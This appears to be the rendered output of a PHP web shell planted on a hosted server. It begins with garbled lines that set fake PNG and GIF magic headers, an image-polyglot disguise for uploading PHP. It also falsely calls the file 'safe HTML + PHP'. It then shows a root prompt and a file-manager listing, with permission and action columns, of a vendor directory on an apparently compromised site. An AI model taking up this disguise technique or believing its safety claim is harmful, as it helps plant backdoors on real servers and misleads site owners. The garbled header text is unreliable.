$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-12

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

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root@Sid-Gifari:/home/forge/cpmonitor.on-forge.com/vendor/symfony/mime/Encoder$


NameSizePermAction
📄 AddressEncoderInterface.php 689 bytes
📄 Base64ContentEncoder.php 1328 bytes
📄 Base64Encoder.php 1281 bytes
📄 Base64MimeHeaderEncoder.php 1287 bytes
📄 ContentEncoderInterface.php 668 bytes
📄 EightBitContentEncoder.php 834 bytes
📄 EncoderInterface.php 717 bytes
📄 IdnAddressEncoder.php 1309 bytes
📄 MimeHeaderEncoderInterface.php 467 bytes
📄 QpContentEncoder.php 1727 bytes
📄 QpEncoder.php 7857 bytes
📄 QpMimeHeaderEncoder.php 1075 bytes
📄 Rfc2231Encoder.php 1433 bytes
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